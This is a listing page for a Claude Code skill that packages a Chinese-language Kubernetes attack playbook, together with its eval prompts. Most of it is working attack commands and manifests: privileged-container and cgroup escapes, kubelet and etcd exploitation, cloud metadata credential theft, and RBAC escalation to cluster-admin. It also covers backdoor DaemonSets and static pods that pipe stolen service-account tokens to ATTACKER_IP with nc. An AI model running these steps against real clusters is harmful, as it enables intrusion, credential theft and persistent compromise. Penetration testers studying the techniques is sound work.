
K8s Container Escape
- 25 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
k8s-container-escape is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- k8s-container-escape
- AI & Agent Building
- AI-coding skill
K8s Container Escape by the numbers
- 25 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,800 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill k8s-container-escapeAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 25 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
Kubernetes 容器逃逸与集群攻击
K8s 集群一旦被突破,攻击面极大——从单个 Pod 可以横向扩展到整个集群的所有节点和服务。
⛔ 深入参考(必读)
- 容器逃逸详细手法(挂载逃逸/内核漏洞/特权容器/cgroup)→ 读 references/escape-techniques.md
- 集群层面攻击(API Server/etcd/RBAC/横向移动)→ 读 references/cluster-attacks.md
- RBAC 权限自检、Pod 内 API 请求、badPods/KubeHound/gitRepo volume → 读 references/rbac-and-api-abuse.md
---
Phase 1: 环境识别
1.1 确认在容器内
cat /proc/1/cgroup 2>/dev/null | grep -qi 'docker\|kubepods\|containerd'
ls /.dockerenv 2>/dev/null || ls /run/secrets/kubernetes.io 2>/dev/null
hostname # K8s Pod 名通常含 deployment 名
env | grep -i kube1.2 K8s 环境信息收集
# ServiceAccount Token(几乎每个 Pod 都有)
SA_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)
# API Server 地址
echo $KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
# 测试 API 权限
curl -sk -H "Authorization: Bearer $SA_TOKEN" \
https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/$NAMESPACE/pods1.3 外部端口探测
| 端口 | 服务 | 攻击面 |
|---|---|---|
| 6443 | API Server | 未授权/Token 利用 |
| 10250 | Kubelet | 命令执行 |
| 10255 | Kubelet (只读) | 信息泄露 |
| 2379 | etcd | 全量数据(含 Secrets) |
| 8080 | API Server (不安全) | 完全控制 |
Phase 2: 攻击决策树
当前位置?
├─ 容器内部
│ ├─ 特权容器(privileged=true)→ 挂载宿主机 → 逃逸
│ ├─ 挂载了 hostPath/docker.sock → 逃逸
│ ├─ 有 SA Token → SelfSubjectRulesReview / can-i → RBAC 权限驱动攻击
│ ├─ 能 create pods / pods/exec / impersonate → Pod 创建、进入高权限 Pod 或模拟高权限账户
│ └─ 普通容器 → 内核漏洞/cgroup 逃逸
├─ 可访问 Kubelet (10250)
│ └─ 未授权 → 任意 Pod 命令执行
├─ 可访问 API Server (6443/8080)
│ ├─ 匿名访问 → 创建特权 Pod
│ └─ Token → RBAC 权限枚举
└─ 可访问 etcd (2379)
└─ 提取所有 Secrets
详细命令 → 参考 referencesPhase 3: 容器逃逸速查
特权容器逃逸(最常见)
# 检查是否特权容器
cat /proc/1/status | grep -i cap
# CapEff: 0000003fffffffff 表示全能力 = 特权容器
# 方法 1: 挂载宿主机文件系统
mkdir -p /tmp/hostroot
mount /dev/sda1 /tmp/hostroot
chroot /tmp/hostroot bashDocker Socket 逃逸
ls -la /var/run/docker.sock
# 存在则可创建特权容器挂载宿主机
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json→ 完整逃逸手法 → references/escape-techniques.md
Phase 4: Kubelet 未授权
# 列出所有 Pod
curl -sk https://NODE_IP:10250/pods
# 在任意 Pod 中执行命令
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER \
-d "cmd=id"Phase 5: 集群接管
# 用 SA Token 检查权限
curl -sk -H "Authorization: Bearer $SA_TOKEN" \
https://API_SERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"create","resource":"pods"}}}'
# 能创建 Pod → 创建特权 Pod 挂载节点→ 详细集群攻击 → references/cluster-attacks.md
工具速查
| 工具 | 用途 |
|---|---|
| kubectl | K8s 集群管理 |
| kubeletctl | Kubelet 利用 |
| CDK | 容器逃逸自动化 |
| PEIRATES | K8s 渗透框架 |
| etcdctl | etcd 数据提取 |
{
"skill_name": "k8s-container-escape",
"evals": [
{
"id": 1,
"prompt": "我在一个 K8s Pod 里面拿到了 shell,运行 id 显示 root,env 里有 KUBERNETES_SERVICE_HOST。怎么逃逸到宿主机?",
"expected_output": "检查是否特权容器、是否挂载 docker.sock/hostPath,利用 SA Token 检查 RBAC 权限,尝试磁盘挂载/cgroup 逃逸"
},
{
"id": 2,
"prompt": "扫描内网发现 10.0.0.5 开放了 10250 端口,怎么利用?",
"expected_output": "Kubelet 未授权访问,列出 Pod 并在 Pod 中执行命令,窃取 SA Token"
},
{
"id": 3,
"prompt": "拿到了一个 ServiceAccount Token,怎么判断它的权限并利用?",
"expected_output": "使用 SelfSubjectAccessReview 检查权限,如能创建 Pod 则创建特权 Pod,如能列 secrets 则提取凭据"
}
]
}
K8s 集群层面攻击
1. API Server 未授权访问
1.1 匿名访问(8080 端口 / 错误配置)
# 不安全端口(8080)直接访问
curl http://API_SERVER:8080/api/v1/namespaces
curl http://API_SERVER:8080/api/v1/secrets
# 匿名用户权限测试
curl -sk https://API_SERVER:6443/api/v1/namespaces/default/pods
# 如果返回 200 → 匿名访问启用1.2 通过 Token 访问
# 使用窃取的 Token
TOKEN="eyJhbGciOi..."
curl -sk -H "Authorization: Bearer $TOKEN" https://API_SERVER:6443/api
# 枚举权限(关键步骤)
# 检查能否列出 secrets
curl -sk -H "Authorization: Bearer $TOKEN" \
https://API_SERVER:6443/api/v1/secrets 2>&1 | head -5
# 检查能否创建 pods
curl -sk -H "Authorization: Bearer $TOKEN" \
https://API_SERVER:6443/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
-X POST -H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"namespace":"default","verb":"create","resource":"pods"}}}'1.3 kubectl 使用
# 配置 kubeconfig
kubectl config set-cluster pwn --server=https://API_SERVER:6443 --insecure-skip-tls-verify=true
kubectl config set-credentials pwn --token=$TOKEN
kubectl config set-context pwn --cluster=pwn --user=pwn
kubectl config use-context pwn
# 信息收集
kubectl get nodes -o wide
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl auth can-i --list # 当前权限列表2. Kubelet 攻击(10250/10255)
2.1 只读端口(10255)
# 信息泄露:列出所有 Pod 及其环境变量
curl -s http://NODE_IP:10255/pods | python3 -c "
import json,sys
pods = json.load(sys.stdin)['items']
for p in pods:
ns = p['metadata']['namespace']
name = p['metadata']['name']
print(f'[{ns}] {name}')
for c in p['spec']['containers']:
for e in c.get('env', []):
if any(k in e.get('name','').lower() for k in ['pass','key','secret','token']):
print(f' ENV: {e[\"name\"]}={e.get(\"value\",\"<from-ref>\")}')
"2.2 读写端口(10250)
# 列出 Pod
curl -sk https://NODE_IP:10250/pods
# 在指定 Pod 中执行命令
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME \
-d "cmd=id"
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME \
-d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
# 也可用 kubeletctl 工具
kubeletctl -s NODE_IP pods
kubeletctl -s NODE_IP exec "id" -p POD -c CONTAINER -n NAMESPACE3. etcd 攻击(2379)
etcd 存储 K8s 所有状态数据,包括 Secrets(base64 编码)。
# 直接访问(无认证)
etcdctl --endpoints=http://ETCD_IP:2379 get / --prefix --keys-only | head -50
# 提取所有 Secrets
etcdctl --endpoints=http://ETCD_IP:2379 get /registry/secrets --prefix --print-value-only
# 如果需要证书认证
etcdctl --endpoints=https://ETCD_IP:2379 \
--cert=/path/to/cert --key=/path/to/key --cacert=/path/to/ca \
get /registry/secrets --prefix
# 提取 ServiceAccount Token
etcdctl --endpoints=http://ETCD_IP:2379 \
get /registry/secrets/kube-system --prefix --print-value-only | strings | grep 'eyJ'4. RBAC 权限滥用
4.1 高危权限组合
| 权限 | 危害 |
|---|---|
| create pods | 创建特权 Pod → 节点接管 |
| list secrets | 读取所有密码/Token |
| create clusterrolebindings | 自我提权为 cluster-admin |
| create serviceaccounts/token | 生成高权限 Token |
| patch daemonsets | 在所有节点部署后门 |
4.2 RBAC 提权路径
# 如果有 create clusterrolebindings 权限
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:default
# 如果只有 namespace 级 create rolebindings 权限,只能在对应 namespace 内绑定 Role/ClusterRole
kubectl create rolebinding pwn --clusterrole=admin --serviceaccount=default:default -n TARGET_NAMESPACE
# 如果有 create serviceaccounts/token
kubectl create token default --duration=999999h
# 如果有 patch deployments(注入到现有高权限 Pod)
kubectl patch deployment DEPLOY_NAME -p '{"spec":{"template":{"spec":{"containers":[{"name":"pwn","image":"alpine","command":["sleep","infinity"],"securityContext":{"privileged":true}}]}}}}'5. 横向移动
5.1 Pod 间移动
# 发现内部服务
env | grep SERVICE
kubectl get svc --all-namespaces
# 直接访问 ClusterIP 服务
curl http://10.96.x.x:PORT5.2 节点接管
# 创建特权 Pod 指定到目标节点
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: node-pwn
spec:
nodeName: TARGET_NODE
hostNetwork: true
hostPID: true
containers:
- name: pwn
image: alpine
command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "/bin/bash"]
securityContext:
privileged: true
EOF6. 云 Metadata 利用
在云环境的 K8s 集群中,Pod 可能能访问云 Metadata:
# AWS
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# Azure
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"7. Helm / Tiller(旧版本)
Tiller(Helm v2)如果存在,通常有 cluster-admin 权限:
# 检查 Tiller
kubectl get pods -n kube-system | grep tiller
# Tiller gRPC 端口 44134
curl http://TILLER_IP:441348. K8s 到云环境横向穿透(Pivoting to Cloud)
在云托管的 K8s 集群(EKS/GKE/AKS)中,Pod 和节点通常绑定了云 IAM 角色。窃取这些凭据可以从 K8s 跳转到云控制平面。
8.1 节点 IAM 角色窃取
节点(EC2/GCE/Azure VM)通常绑定了 IAM 角色。从 Pod 内访问 IMDS 获取临时凭据:
# 通用检测:IMDS 是否可达
curl -s -m 3 http://169.254.169.254/ && echo "IMDS REACHABLE"
# AWS — 获取节点 IAM 角色凭据
IAM_ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
echo "Node IAM Role: $IAM_ROLE"
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE"
# 返回 AccessKeyId / SecretAccessKey / Token
# GCP — 获取节点 SA Token
curl -s -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
# Azure — 获取托管标识 Token
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"注意:Pod 中访问 IMDS 可能受 --metadata-endpoint-restrictions 或 IMDSv2 hop 限制。使用 hostNetwork: true 的 Pod 可以绕过 hop 限制。
8.2 AWS EKS — IRSA(推荐方式)Token 窃取
EKS 通过 OIDC 将 IAM Role 绑定到 K8s SA,Pod 中会挂载 JWT Token:
# 检查环境变量
echo $AWS_ROLE_ARN
echo $AWS_WEB_IDENTITY_TOKEN_FILE
# 默认路径: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# 使用窃取的 Token 获取 AWS 临时凭据
aws sts assume-role-with-web-identity \
--role-arn "$AWS_ROLE_ARN" \
--role-session-name pwned \
--web-identity-token "file://$AWS_WEB_IDENTITY_TOKEN_FILE"
# 搜索集群中所有带 IAM 注解的 SA
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
for sa in $(kubectl get sa -n $ns -o jsonpath='{.items[*].metadata.name}'); do
ROLE=$(kubectl get sa $sa -n $ns -o jsonpath='{.metadata.annotations.eks\.amazonaws\.com/role-arn}' 2>/dev/null)
[ -n "$ROLE" ] && echo "[$ns] $sa → $ROLE"
done
done8.3 GCP GKE — Workload Identity Token 窃取
GKE 通过 Workload Identity 将 GCP SA 绑定到 K8s SA:
# 搜索带 GCP SA 注解的 K8s SA
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
for pod in $(kubectl get pods -n $ns -o jsonpath='{.items[*].metadata.name}'); do
kubectl get pod $pod -n $ns -o yaml 2>/dev/null | grep -q "gcp-service-account" && \
echo "[$ns] $pod has GCP SA binding"
done
done
# Pod 内检查 Workload Identity
curl -s -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email"
# 也检查挂载的 JSON 密钥文件
find / -name "*.json" -path "*/secrets/*" 2>/dev/null
echo $GOOGLE_APPLICATION_CREDENTIALS8.4 AWS Kiam/Kube2IAM(旧方式)利用
旧版 EKS 集群可能使用 Kiam 或 Kube2IAM DaemonSet 来分配 IAM 角色:
# 检查命名空间注解
kubectl get ns -o yaml | grep -A2 "iam.amazonaws.com"
# 检查 Pod 注解
kubectl get pods --all-namespaces -o yaml | grep "iam.amazonaws.com/role"
# 如果发现 → 创建带有目标角色注解的 Pod 即可获取 IAM 凭据8.5 EKS 节点 IAM → 受限 TokenRequest 滥用
EKS 节点凭据会经由 AWS IAM Authenticator 映射为节点身份,但不能通过 kubectl --as=system:node:<NODE_NAME> 任意伪装;--as 需要额外的 impersonate 授权。节点身份通常还受 NodeAuthorizer / NodeRestriction 约束,只能围绕该节点上实际运行的 Pod 和其 ServiceAccount 尝试 TokenRequest。
# 使用真实节点身份凭据访问 API 后,针对该节点上实际 Pod 的 SA 尝试创建绑定 Token
kubectl create token -n kube-system <SA_NAME> \
--bound-object-kind=Pod \
--bound-object-name=<POD_NAME> \
--bound-object-uid=<POD_UID>8.6 aws-auth ConfigMap 篡改(EKS 特有)
如果有 kube-system 命名空间的 ConfigMap 修改权限,可以篡改 aws-auth 获取 cluster-admin:
# 查看当前 aws-auth 配置
kubectl get configmap aws-auth -n kube-system -o yaml
# 添加攻击者控制的 IAM Role 为 system:masters
kubectl edit -n kube-system configmap/aws-auth
# 在 mapRoles 中添加:
# - rolearn: arn:aws:iam::ATTACKER_ACCOUNT:role/AttackerRole
# username: cluster-admin
# groups:
# - system:masters9. /var/log 挂载逃逸
当 Pod 挂载了宿主机的 /var/log 目录时,可以利用 kubelet 的日志读取接口窃取宿主机文件:
# 方法 1:符号链接劫持 Pod 日志文件
# Pod 日志通常在 /var/log/pods/NAMESPACE_POD_UID/CONTAINER/0.log
# 替换为指向目标文件的符号链接
ln -sf /etc/shadow /var/log/pods/default_mypod_xxxxx/mycontainer/0.log
# 然后通过 kubectl logs 读取
kubectl logs mypod --tail=100
# 方法 2:如果有 nodes/log 读取权限
# 创建符号链接指向宿主机根目录
ln -sf / /host-log/sym
# 通过 Kubelet API 浏览宿主机文件系统
curl -sk -H "Authorization: Bearer $TOKEN" \
"https://NODE_IP:10250/logs/sym/"如果挂载为只读但有 CAP_SYS_ADMIN,可以重新挂载为读写:
mount -o rw,remount /hostlogs/10. nodes/proxy WebSocket 绕过
nodes/proxy 的 GET 权限可以通过 WebSocket 协议在 Pod 中执行命令,绕过正常的 pods/exec 权限检查:
# 检查是否有 nodes/proxy 权限
kubectl auth can-i --list | grep "nodes/proxy"
# 通过 WebSocket 直接连接 Kubelet 执行命令(绕过 API Server 审计)
# 需要能直接访问节点 IP:10250
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://NODE_IP:10250/exec/NAMESPACE/POD/CONTAINER?output=1&error=1&command=id"原理:WebSocket 握手使用 HTTP GET,kubelet 将其映射为 RBAC get 动词而非 create。/exec 等端点未显式映射,默认归入 proxy 子资源,因此 nodes/proxy + get 即可执行命令。API Server 审计日志中不会记录 pods/exec 事件。
11. CSR 签名请求 → 伪造节点身份
拥有 create certificatesigningrequests 权限时,可以伪造新节点的 TLS 证书:
# 创建 CSR 伪造节点身份
# Subject: /O=system:nodes/CN=system:node:<目标节点名>
# 如果集群配置了自动签名,CSR 会被自动批准
# 批准后获得该节点的证书 → 可以作为该节点访问 API Server
# 节点身份可以访问挂载在该节点上的所有 Pod 的 Secrets12. CoreDNS ConfigMap 投毒
修改 coredns ConfigMap 可以劫持集群内的 DNS 解析,实现中间人攻击:
# 下载当前配置
kubectl get configmap coredns -n kube-system -o yaml > coredns.yaml
# 在 Corefile 中添加 rewrite 规则
# 例如:将 victim-service.default.svc.cluster.local 重定向到攻击者 Pod
# rewrite name victim-service.default.svc.cluster.local attacker-pod.default.svc.cluster.local
# 应用修改
kubectl apply -f coredns.yaml
# 或直接编辑
kubectl edit configmap coredns -n kube-system13. Admission Controller 持久化
如果有 create/update mutatingwebhookconfigurations 权限,可以注入恶意 Admission Controller,修改所有新建 Pod 的镜像或注入后门容器:
# 部署恶意 Webhook 后,所有新建 Pod 的容器镜像会被替换
# 或自动注入 sidecar 容器用于窃取凭据
# 检查现有 Webhook 配置
kubectl get mutatingwebhookconfigurations
kubectl get validatingwebhookconfigurations攻击者可以通过 Webhook 实现:
- 替换 Pod 容器镜像为植入后门的版本
- 注入 sidecar 容器窃取流量和凭据
- 修改环境变量添加恶意配置
- 禁用 Pod 的安全上下文限制
K8s 容器逃逸技术详解
1. 特权容器逃逸
特权容器(privileged: true)拥有宿主机所有 Linux capabilities,可直接操作宿主机设备。
1.1 磁盘挂载逃逸
# 查看宿主机磁盘设备
fdisk -l 2>/dev/null || lsblk
# 常见设备:/dev/sda1, /dev/vda1, /dev/xvda1
mkdir -p /tmp/hostroot
mount /dev/sda1 /tmp/hostroot
# 读取 flag / 写入 SSH 密钥
cat /tmp/hostroot/root/flag.txt
echo "YOUR_SSH_KEY" >> /tmp/hostroot/root/.ssh/authorized_keys
# 完整 chroot
chroot /tmp/hostroot bash1.2 cgroup release_agent 逃逸
# 在特权容器中,利用 cgroup 的 release_agent 机制在宿主机执行命令
d=$(dirname $(ls -x /s*/fs/c*/*/r* |head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > $d/w/cgroup.procs"
sleep 1
cat /output1.3 nsenter 逃逸(需要 hostPID + SYS_ADMIN/SYS_PTRACE)
# 只有在容器可见宿主机 PID namespace(如 hostPID: true)时,target 1 才通常指向宿主机 init
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash2. Docker Socket 逃逸
# 检查 docker.sock 是否挂载
ls -la /var/run/docker.sock
# 用 curl 操作 Docker API
# 列出容器
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool
# 创建特权容器并挂载宿主机根目录
curl -s --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
http://localhost/containers/create \
-d '{
"Image": "alpine",
"Cmd": ["/bin/sh", "-c", "cat /hostroot/root/flag.txt"],
"HostConfig": {
"Binds": ["/:/hostroot"],
"Privileged": true
}
}'
# 启动并查看输出
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/CONTAINER_ID/start
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/CONTAINER_ID/logs?stdout=true如果有 docker CLI:
docker run -v /:/hostroot --privileged -it alpine chroot /hostroot bash3. 挂载型逃逸(hostPath)
# 检查挂载点
mount | grep -v 'proc\|sys\|cgroup\|overlay'
df -h
cat /proc/mounts
# 常见危险挂载
# /var/log → 读取宿主机日志,可能含敏感信息
# /etc → 读取 shadow/passwd,写入 crontab
# / → 完全访问宿主机如果挂载了 /var/log:
# 通过 symlink 技巧读取宿主机文件
ln -s /etc/shadow /var/log/shadow-link
# 等待日志轮转或触发日志读取4. Procfs 逃逸(/proc/sysrq-trigger)
# 需要挂载了宿主机的 /proc
# 检查 core_pattern
cat /proc/sys/kernel/core_pattern
# 如果可写:
echo "|/path/to/payload" > /proc/sys/kernel/core_pattern
# 触发 core dump → 宿主机执行 payload5. 内核漏洞逃逸
容器与宿主机共享内核,内核漏洞可直接逃逸:
| 漏洞 | 内核版本 | CVE |
|---|---|---|
| DirtyPipe | 5.8 - 5.16.11 | CVE-2022-0847 |
| DirtyCow | 2.6.22 - 4.8.3 | CVE-2016-5195 |
| OverlayFS | 5.11 - 5.15 | CVE-2021-3493 |
| runc | runc < 1.0-rc6 | CVE-2019-5736 |
| containerd | < 1.3.9 | CVE-2020-15257 |
CVE-2019-5736(runc 逃逸,经典)
# 覆盖宿主机的 runc 二进制
# 需要在容器内执行,下次 docker exec 进入时触发
# 工具:https://github.com/Frichetten/CVE-2019-5736-PoC6. Service Account Token 利用
即使无法逃逸容器,SA Token 可能有集群级别权限:
SA_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
# 检查能否列出 secrets(高价值)
curl -sk -H "Authorization: Bearer $SA_TOKEN" $APISERVER/api/v1/secrets
# 检查能否创建 Pod(→ 创建特权 Pod 逃逸)
curl -sk -H "Authorization: Bearer $SA_TOKEN" $APISERVER/api/v1/namespaces/default/pods \
-X POST -H "Content-Type: application/json" \
-d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"pwned"},"spec":{"containers":[{"name":"pwned","image":"alpine","command":["sleep","infinity"],"securityContext":{"privileged":true}}],"hostNetwork":true,"hostPID":true}}'7. 环境变量信息泄露
K8s 将 Service 信息注入环境变量:
env | sort
# 可发现其他服务的 IP 和端口
# MYSQL_SERVICE_HOST=10.96.x.x
# REDIS_SERVICE_HOST=10.96.x.x8. RBAC 权限驱动的 Pod 逃逸
当 SA Token 拥有特定 RBAC 权限时,无需容器本身是特权模式,也可以通过创建/修改工作负载来实现逃逸。
8.1 create pods 权限 → 创建特权 Pod 窃取 Token
如果 SA 有 create pods 权限,可创建挂载了高权限 SA 的 Pod,窃取其 Token:
apiVersion: v1
kind: Pod
metadata:
name: steal-token
namespace: kube-system
spec:
serviceAccountName: bootstrap-signer # 目标高权限 SA
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: steal
image: alpine
command: ["/bin/sh"]
args: ["-c", "cat /run/secrets/kubernetes.io/serviceaccount/token | nc ATTACKER_IP 6666; sleep 99999"]全特权 Pod 一键逃逸(单行命令):
kubectl run r00t --restart=Never -ti --rm --image lol \
--overrides '{"spec":{"hostPID":true,"containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin":true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'8.2 create/patch deployments、daemonsets、statefulsets、replicasets、jobs、cronjobs
这些控制器资源都可以间接创建 Pod,效果等同于 create pods:
# 示例:通过 DaemonSet 在所有节点部署后门 Pod,窃取高权限 SA Token
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: backdoor
namespace: kube-system
spec:
selector:
matchLabels:
name: backdoor
template:
metadata:
labels:
name: backdoor
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: backdoor
image: alpine
command: ["/bin/sh", "-c", "cat /run/secrets/kubernetes.io/serviceaccount/token | nc ATTACKER_IP 6666; sleep 99999"]
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /DaemonSet 的特殊优势:会在集群所有节点上运行,一次操作即可窃取所有节点上运行的 SA Token。
8.3 pods/exec 权限 → 进入现有高权限 Pod
# 列出所有 Pod 并找到 kube-system 中的高权限 Pod
kubectl get pods --all-namespaces
kubectl exec -it <POD_NAME> -n kube-system -- sh
# 进入后窃取 SA Token
cat /var/run/secrets/kubernetes.io/serviceaccount/token8.4 update/patch pods/ephemeralcontainers → 临时容器注入
可以向已运行的 Pod 注入临时容器(ephemeral container),获得代码执行能力,甚至提权:
# 向目标 Pod 注入特权临时容器
kubectl debug -it <TARGET_POD> --image=alpine --target=<CONTAINER_NAME> -- sh
# 如果有 patch 权限,可以直接操作 API
kubectl patch pod <POD_NAME> --type=strategic --subresource=ephemeralcontainers -p '{
"spec": {
"ephemeralContainers": [{
"name": "debugger",
"image": "alpine",
"command": ["sh"],
"stdin": true,
"tty": true,
"securityContext": {"privileged": true}
}]
}
}'注入到高权限 Pod 后可以窃取其 SA Token 或利用其已有的特权配置逃逸到节点。
8.5 impersonate 权限 → 模拟高权限账户
# 模拟 system:masters 组(cluster-admin)
kubectl get secrets --as=null --as-group=system:masters
# 模拟特定 SA
kubectl get pods --as=system:serviceaccount:kube-system:default
# REST API 方式
curl -k -H "Authorization: Bearer $SA_TOKEN" \
-H "Impersonate-User: null" \
-H "Impersonate-Group: system:masters" \
https://API_SERVER:6443/api/v1/namespaces/kube-system/secrets/9. 可写 hostPath SUID 提权(容器→宿主机 root)
当 Pod 挂载了可写的 hostPath 卷,且宿主机文件系统未使用 nosuid 选项时,可以在容器内植入 SUID 二进制文件:
# 容器内(以 root 运行)
# MOUNT 是容器内映射到宿主机目录的挂载点路径
MOUNT="/var/www/html/uploads"
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
# 宿主机上执行(需要另一个向量触发,如 SSH、其他 RCE)
# 路径取决于 hostPath 配置
/opt/data/uploads/suidbash -p # -p 保留 euid 0检测可写 hostPath 挂载:
# 容器内
mount | column -t
cat /proc/self/mountinfo | grep host-path
# 测试可写性
TEST_DIR=/var/www/html
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"注意:如果宿主机挂载点有 nosuid 选项,SUID 位会被忽略。可通过 cat /proc/mounts | grep <挂载点> 检查。
10. 节点后渗透 — 逃逸后的关键信息
逃逸到节点后,以下路径包含高价值凭据:
# Kubelet 配置和凭据
/var/lib/kubelet/kubeconfig
/var/lib/kubelet/kubelet.conf
/var/lib/kubelet/config.yaml
/etc/kubernetes/kubelet.conf
/etc/kubernetes/admin.conf # 如存在 → cluster-admin 权限
$HOME/.kube/config
# etcd 配置(控制平面节点)
/etc/kubernetes/manifests/etcd.yaml
/etc/kubernetes/pki/ # K8s PKI 证书和私钥
# 找到 kubelet 实际使用的 kubeconfig
ps -ef | grep kubelet | grep kubeconfig
# 窃取节点上所有 Pod 的 SA Token
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
NS=$(cat $i)
echo "[$NS] $TOKEN" | head -c 80
echo "..."
done10.1 Static Pod 持久化
如果已逃逸到节点,可以利用 Static Pod 在 kube-system 等命名空间中创建持久化后门:
# Static Pod 配置目录(默认)
ls /etc/kubernetes/manifests/
# 写入恶意 Static Pod(kubelet 自动创建并维护)
cat > /etc/kubernetes/manifests/backdoor.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: backdoor
namespace: kube-system
spec:
hostPID: true
hostNetwork: true
containers:
- name: backdoor
image: alpine
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
EOF
# 更隐蔽的方式:修改 kubelet 的 staticPodURL 从远程拉取
# 修改 /var/lib/kubelet/config.yaml 中的 staticPodURL 字段Static Pod 由 kubelet 直接管理,API Server 只能看到镜像 Pod(mirror pod),无法从 API 层面删除。
K8s RBAC 与 API 滥用路径
本文档补充从 Pod 内或拿到 ServiceAccount Token 后的 API 调用、权限判断和 RBAC 滥用路径。重点是先确认当前身份能做什么,再选择 Secret 读取、Pod 创建、exec、impersonate 或控制器资源注入。
---
1. Pod 内默认信息
K8s Pod 通常会自动挂载 ServiceAccount Token、namespace 和 CA 证书:
SA_DIR=/var/run/secrets/kubernetes.io/serviceaccount
TOKEN=$(cat $SA_DIR/token 2>/dev/null)
NAMESPACE=$(cat $SA_DIR/namespace 2>/dev/null)
CA_CERT=$SA_DIR/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"还可以从环境变量中确认 API Server 和同 namespace 服务:
env | grep -E 'KUBERNETES_SERVICE|_SERVICE_HOST|_SERVICE_PORT'环境变量只能说明 Pod 创建时已存在的 Service;后创建的 Service 不会自动注入,需要结合 DNS 或 API 枚举。
---
2. 没有 kubectl 时模拟 API 请求
容器内没有 kubectl 时,可以用本地 kubectl -v9 生成等价 HTTP 请求,再替换为 Pod 内的 API Server 与 Token。
流程:
